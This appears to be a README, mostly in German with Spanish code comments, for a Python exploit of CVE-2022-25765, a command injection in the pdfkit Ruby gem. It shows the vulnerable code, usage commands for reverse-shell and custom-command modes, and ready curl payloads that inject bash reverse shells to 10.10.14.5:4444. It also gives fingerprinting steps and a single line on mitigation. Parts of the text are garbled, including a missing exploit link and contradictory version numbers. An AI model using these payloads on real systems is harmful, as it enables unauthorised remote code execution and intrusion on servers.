
Python-Exploit für CVE-2022-25765 Befehlsinjektion in pdfkit, der Remote-Codeausführung über manipulierte URLs mit Reverse-Shell- und benutzerdefinierten Befehlsmodi ermöglicht.
CVE-2022-25765 ist eine Befehlsinjektions-Schwachstelle (Command Injection), die pdfkit (Ruby gem) in Versionen < 0.8.7.2 betrifft. Die Schwachstelle hat einen KRITISCHEN Schweregrad mit CVSS 9.8, da sie die Remote-Ausführung von Befehlen ohne Authentifizierung ermöglicht.
Das Problem besteht darin, dass pdfkit den Parameter url ohne Bereinigung direkt an die Shell übergibt. Die Bibliothek führt intern wkhtmltopdf mit einem ähnlichen Befehl aus:
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")
Wenn die URL %20 (URL-kodiertes Leerzeichen) gefolgt von Backticks ` oder $() enthält, interpretiert die Shell den Inhalt als Befehl und führt ihn aus.
CVSS 3.1: 9.8 (CRITICAL) —
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H| Feld | Wert |
|---|---|
| CVE | CVE-2022-25765 |
| Produkt | pdfkit (Ruby gem) |
| Betroffene Versionen | 0.0.0 – 0.8.7.2 |
| Typ | Command Injection (CWE-78) |
| Authentifizierung | Nicht erforderlich |
| CVSS 3.1 | 9.8 CRITICAL |
| Patch | pdfkit ≥ 0.8.7.2 |
Der anfällige Code in pdfkit (source.rb:44-50):
def command
args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
"wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end
Die URL wird ohne Bereinigung direkt in den Shell-Befehl interpoliert. Durch das Einfügen von %20 (Leerzeichen) wird der Inhalt nach dem Leerzeichen aus dem Argumentkontext von wkhtmltopdf herausgelöst, und ein \`` oder $()` ermöglicht die Ausführung beliebiger Befehle.
Der ursprüngliche Exploit ist zu finden unter:
requests, urllib3pip install -r requirements.txt
# Modo comando personalizado (genera payload)
python3 exploit-CVE-2022-25765.py -c "whoami"
# Modo reverse shell (genera payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444
# Modo web — enviar comando directamente al sitio vulnerable
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url
# Modo web — reverse shell directa al sitio vulnerable
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url
# Ayuda
python3 exploit-CVE-2022-25765.py -h
| Parameter | Beschreibung |
|---|---|
-c | Benutzerdefinierter Befehl |
-s <IP> <PORT> | Reverse-Shell-Modus |
-w <URL> | URL der anfälligen Website (optional) |
-p <param> | POST-Parameter (optional, Standard: url) |
-h | Hilfe |
# Inyección via curl
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"
# O usando $() en lugar de backticks
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"
# Comando simple
curl -X POST http://target.com/ \
-d "url=http://10.10.14.5/%20\`id\`"
Um zu identifizieren, ob ein Server anfällig ist:
Creator: pdfkit v0.8.6# Enviar URL y recibir callback
curl -X POST http://target.com/ -d "url=http://TU_IP:4444/test"
# Listener: nc -lnvp 4444
# Si recibes la petición con User-Agent: wkhtmltopdf, la app convierte PDFs
# Verificar versión en metadatos del PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Buscar: "Generated by pdfkit v0.8.6" (vulnerable)
url bereinigen, um gefährliche Zeichen zu entfernen (\``, $(), %20`)